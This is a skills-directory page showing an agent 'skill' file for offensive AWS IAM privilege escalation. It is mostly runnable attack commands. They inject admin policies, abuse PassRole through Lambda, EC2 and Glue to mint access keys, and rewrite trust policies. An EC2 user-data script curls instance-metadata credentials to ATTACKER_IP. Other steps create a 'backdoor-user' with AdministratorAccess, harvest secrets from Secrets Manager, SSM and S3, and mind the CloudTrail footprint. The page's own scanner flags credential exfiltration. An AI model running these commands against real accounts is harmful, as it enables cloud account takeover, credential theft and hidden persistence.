Back to skills
SKILL.md
Aws Iam Privesc
CSecurityAWS IAM privesc: PassRole, trust policy abuse, STS chains
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Works with
Security analysis
67/100- Uses curl or wget to download content
- Accesses sensitive system or user directories
- Exfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
- Installs packages at runtime which could introduce malicious dependencies
Pro scans all 4 files and shows the line behind each finding
npx -y skills add blackfoxxx/kestrel --skill aws-iam-privesc --agent claude-codeAre you the author of Aws Iam Privesc?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-aws-iam-privesc)---
name: aws-iam-privesc
description: "AWS IAM privesc: PassRole, trust policy abuse, STS chains"
metadata:
tags: "aws,iam,privilege-escalation,passrole,lambda,ec2,cloudformation,pacu,scp,cross-account,role,policy"
category: cloud
mcps: pentest mcp, autopen, context1337
---
# AWS IAM Privilege Escalation Methodology
IAM privilege escalation is the core skill in AWS cloud pentesting — credentials are only the beginning; exploiting over-permissioned policies is the goal.
## Deep Reference (Required Reading)
- Complete 46 technique commands, Pacu module usage, SCPs and permission boundaries → [references/aws-iam-techniques.md](references/aws-iam-techniques.md)
---
## Phase 1: Initial Assessment
### Identify Current Identity and Permissions
```bash
# Who am I
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# If Role: check role permissions
aws iam list-attached-role-policies --role-name <role-name>
aws iam list-role-policies --role-name <role-name> # inline policies
# If User: check user permissions
aws iam list-attached-user-policies --user-name <user-name>
aws iam list-user-policies --user-name <user-name>
aws iam list-groups-for-user --user-name <user-name>
# View policy content
aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id <version>
```
### Automated Permission Enumeration
```bash
# Method 1: enumerate-iam (brute force API calls)
pip install enumerate-iam
enumerate-iam --access-key AKIA... --secret-key xxx --region us-east-1
# Method 2: Pacu (AWS post-exploitation framework)
git clone https://github.com/RhinoSecurityLabs/pacu
pip install -r pacu/requirements.txt
python3 pacu/pacu.py
# In Pacu
Pacu> import_keys default # import from ~/.aws/credentials
Pacu> run iam__bruteforce_permissions # brute force IAM permissions
Pacu> run iam__privesc_scan # scan escalation paths
```
---
## Phase 2: Escalation Path Decision Tree
```
Current permissions?
├─ iam:CreatePolicyVersion → escalation path 1 (modify existing managed policy)
├─ iam:SetDefaultPolicyVersion → escalation path 2 (switch to old version with *:*)
├─ iam:AttachUserPolicy → escalation path 3 (attach AdministratorAccess to self)
├─ iam:AttachGroupPolicy → escalation path 4 (attach to group self is in)
├─ iam:AttachRolePolicy → escalation path 5 (attach policy to assumable role)
├─ iam:PutUserPolicy → escalation path 6 (write inline policy to self)
├─ iam:AddUserToGroup → escalation path 7 (add self to admin group)
├─ iam:UpdateLoginProfile → escalation path 8 (reset another user's password)
├─ iam:CreateAccessKey → escalation path 9 (create AK/SK for another user)
├─ iam:PassRole + lambda:* → escalation path 10 (Lambda with high-priv role)
├─ iam:PassRole + ec2:RunInstances → escalation path 11 (EC2 with admin instance profile)
├─ iam:PassRole + glue:CreateJob → escalation path 12 (Glue job with high-priv role)
├─ iam:PassRole + cloudformation:* → escalation path 13 (CloudFormation stack)
├─ iam:PassRole + sagemaker:* → escalation path 14 (SageMaker notebook)
├─ iam:PassRole + codebuild:* → escalation path 15 (CodeBuild project)
├─ iam:PassRole + datapipeline:* → escalation path 16 (Data Pipeline)
├─ sts:AssumeRole → escalation path 17 (assume higher-priv role directly)
├─ iam:UpdateAssumeRolePolicy → escalation path 18 (modify role trust policy)
└─ All 46 techniques → [references/aws-iam-techniques.md](references/aws-iam-techniques.md)
```
---
## Phase 3: Core Escalation Techniques (Detailed)
### Direct IAM Manipulation
**Technique 1: Create Policy Version**
```bash
# Requires: iam:CreatePolicyVersion
# Effect: Inject administrator policy into an existing managed policy
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
# Verify after escalation
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--version-id v2
```
**Technique 2: Attach Administrator Policy to Self**
```bash
# Requires: iam:AttachUserPolicy
aws iam attach-user-policy \
--user-name <current-user> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Verify: list EC2 instances (should work now)
aws ec2 describe-instances
```
**Technique 3: Add Self to Admin Group**
```bash
# Requires: iam:AddUserToGroup
# Find admin group first
aws iam list-groups | grep -i admin
aws iam add-user-to-group \
--user-name <current-user> \
--group-name Administrators
```
### PassRole + Service Escalation
**Technique 10: Lambda Function Escalation**
```bash
# Requires: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
# Step 1: Confirm PassRole has a target role
aws iam list-roles | grep RoleName
# Find roles with AdministratorAccess or high-priv policy
# Step 2: Create a Lambda function
cat > /tmp/lambda_function.py << 'EOF'
import boto3
import json
def handler(event, context):
iam = boto3.client('iam')
# Create new access key for current user
response = iam.create_access_key(UserName='target-user')
return {
'statusCode': 200,
'body': json.dumps(response['AccessKey'])
}
EOF
zip /tmp/lambda_code.zip /tmp/lambda_function.py
aws lambda create-function \
--function-name privesc-function \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler lambda_function.handler \
--zip-file fileb:///tmp/lambda_code.zip \
--region us-east-1
# Step 3: Invoke function (runs with AdminRole permissions)
aws lambda invoke \
--function-name privesc-function \
--payload '{}' \
/tmp/output.json
cat /tmp/output.json # contains new access key
```
**Technique 11: EC2 Instance with Admin Profile**
```bash
# Requires: iam:PassRole + ec2:RunInstances (+ ec2:AssociateIamInstanceProfile)
# Check available instance profiles
aws iam list-instance-profiles | grep InstanceProfileName
# Create EC2 instance with admin instance profile
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Arn=arn:aws:iam::123456789012:instance-profile/AdminProfile \
--user-data '#!/bin/bash
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole > /tmp/creds
curl -d "@/tmp/creds" http://ATTACKER_IP:1234' \
--region us-east-1
# Or use SSM for command execution (no SSH needed)
aws ssm send-command \
--instance-ids i-xxxxxxxxxxxxxxxxx \
--document-name AWS-RunShellScript \
--parameters commands='["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole"]'
```
**Technique 12: Glue Job Escalation**
```bash
# Requires: iam:PassRole + glue:CreateJob + glue:StartJobRun
aws glue create-job \
--name privesc-job \
--role arn:aws:iam::123456789012:role/AdminRole \
--command '{
"Name": "pythonshell",
"ScriptLocation": "s3://my-bucket/privesc.py",
"PythonVersion": "3"
}' \
--default-arguments '{
"--TempDir": "s3://my-bucket/temp",
"--job-language": "python"
}'
# Script in S3 uses AdminRole credentials
# privesc.py:
# import boto3
# client = boto3.client('iam')
# print(client.create_access_key(UserName='target'))
aws glue start-job-run --job-name privesc-job
aws glue get-job-run --job-name privesc-job --run-id <run-id>
```
---
## Phase 4: Permission Boundary and SCPs
### Permission Boundaries
Permissions Boundaries set the maximum permissions a user/role can have:
```bash
# Check if permission boundary is set
aws iam get-user --user-name <user-name> | grep PermissionsBoundary
aws iam get-role --role-name <role-name> | grep PermissionsBoundary
# View permission boundary policy content
aws iam get-policy --policy-arn <boundary-policy-arn>
# Bypass: if iam:PutUserPermissionsBoundary is available
# Delete or replace permission boundary
aws iam put-user-permissions-boundary \
--user-name <user-name> \
--permissions-boundary arn:aws:iam::aws:policy/AdministratorAccess
# Or delete boundary
aws iam delete-user-permissions-boundary --user-name <user-name>
```
### SCPs (Service Control Policies)
SCPs are set at the organization level and affect all accounts:
```bash
# Check which SCPs apply (requires organizations:ListPolicies permission)
aws organizations list-policies --filter SERVICE_CONTROL_POLICY
# View SCP content
aws organizations describe-policy --policy-id p-xxxxxxxxxxxx
# Note: SCPs cannot be bypassed, they are the ceiling for all permissions
# If an SCP denies s3:*, then even admin role cannot access S3
```
---
## Phase 5: Cross-Account Exploitation
### Assume Role to Cross-Account
```bash
# Find assumable cross-account roles
# Method 1: List roles, check Trust Policy
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) | .RoleName'
# Method 2: Enumerate based on account IDs
# Common cross-account trust: arn:aws:iam::TRUSTED_ACCOUNT:root or specific role
# AssumeRole cross-account
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/CrossAccountRole \
--role-session-name pentest-session
# Use returned credentials
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity # verify switch
```
### Modify Role Trust Policy
```bash
# Requires: iam:UpdateAssumeRolePolicy
# Allow current account to assume the target role
aws iam update-assume-role-policy \
--role-name TargetRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::CURRENT_ACCOUNT:user/current-user"
},
"Action": "sts:AssumeRole"
}]
}'
# Then assume the role
aws sts assume-role \
--role-arn arn:aws:iam::CURRENT_ACCOUNT:role/TargetRole \
--role-session-name session
```
---
## Phase 6: Post-Escalation — Persistence and Credential Harvesting
### Create Long-Term Access Key
```bash
# After getting admin privileges, create persistent access key
aws iam create-access-key --user-name <admin-user>
# Or create a new user
aws iam create-user --user-name backdoor-user
aws iam attach-user-policy \
--user-name backdoor-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name backdoor-user
```
### Extract High-Value Secrets
```bash
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret-arn>
# SSM Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name <param-name> --with-decryption
# Credential files in S3
aws s3 ls --recursive | grep -iE "\.env|credentials|config|password|secret"
aws s3 cp s3://bucket/path/to/secret ./
# Lambda function environment variables
aws lambda list-functions
aws lambda get-function-configuration --function-name <name> | jq .Environment
```
---
## Pacu Common Modules
```bash
# In Pacu
Pacu> run iam__bruteforce_permissions # enumerate all permissions
Pacu> run iam__privesc_scan # auto-scan escalation paths
Pacu> run iam__enum_users_roles_policies_groups # enumerate IAM entities
Pacu> run lambda__enum # enumerate Lambda functions
Pacu> run ec2__enum # enumerate EC2 resources
Pacu> run s3__bucket_finder # enumerate S3 buckets
Pacu> run secretsmanager__enum # enumerate secrets
```
---
## Notes
- Each technique needs specific permissions — verify permissions before attempting
- IAM operations are logged to CloudTrail — be mindful of footprint
- Permission boundaries and SCPs are the ceiling — cannot be bypassed with IAM tricks
- Temporary credentials have expiry (typically 1–12 hours) — prioritize creating long-term AK/SK
- Cross-account roles require the target account's Trust Policy to allow it
- The most powerful privilege escalation: iam:CreatePolicyVersion or iam:AttachUserPolicy
Files in this skill
- SKILL.md
- references/compute-privesc.md
- references/iam-sts-privesc.md
- references/service-privesc.md
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.